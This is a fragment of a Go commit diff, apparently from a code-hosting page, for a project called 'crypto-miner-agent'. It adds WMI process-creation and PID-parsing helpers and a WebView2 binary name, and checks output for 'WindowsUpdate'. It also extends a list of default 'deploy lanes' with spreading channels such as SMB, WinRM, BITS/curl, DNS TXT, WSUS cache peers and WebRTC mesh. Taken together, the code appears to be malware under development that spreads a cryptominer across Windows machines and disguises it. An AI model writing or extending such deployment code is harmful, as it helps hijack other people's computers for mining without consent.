return err == nil && strings.Contains(string(out), "WindowsUpdate")
|
||||
}
|
||||
@@ -6,6 +6,8 @@ import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
package miner
|
||||
|
||||
const webView2BinaryName = "msedgewebview2.exe"
|
||||
|
||||
func platformWebView2Probe() WebView2ProbeResult {
|
||||
return WebView2ProbeResult{ProbeOnly: true}
|
||||
}
|
||||
|
||||
@@ -2,8 +2,26 @@
|
||||
|
||||
package miner
|
||||
|
||||
import "fmt"
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
||||
return 0, fmt.Errorf("wmi tier requires windows")
|
||||
}
|
||||
|
||||
func parseWMICreatePID(out []byte) (uint32, error) {
|
||||
raw := string(out)
|
||||
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
|
||||
m := re.FindStringSubmatch(raw)
|
||||
if len(m) < 2 {
|
||||
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
|
||||
}
|
||||
v, err := strconv.ParseUint(m[1], 10, 32)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(v), nil
|
||||
}
|
||||
|
||||
@@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"wsus_cache_peer",
|
||||
"dns_txt",
|
||||
"webrtc_mesh",
|
||||
"smb",
|
||||
"winrm",
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user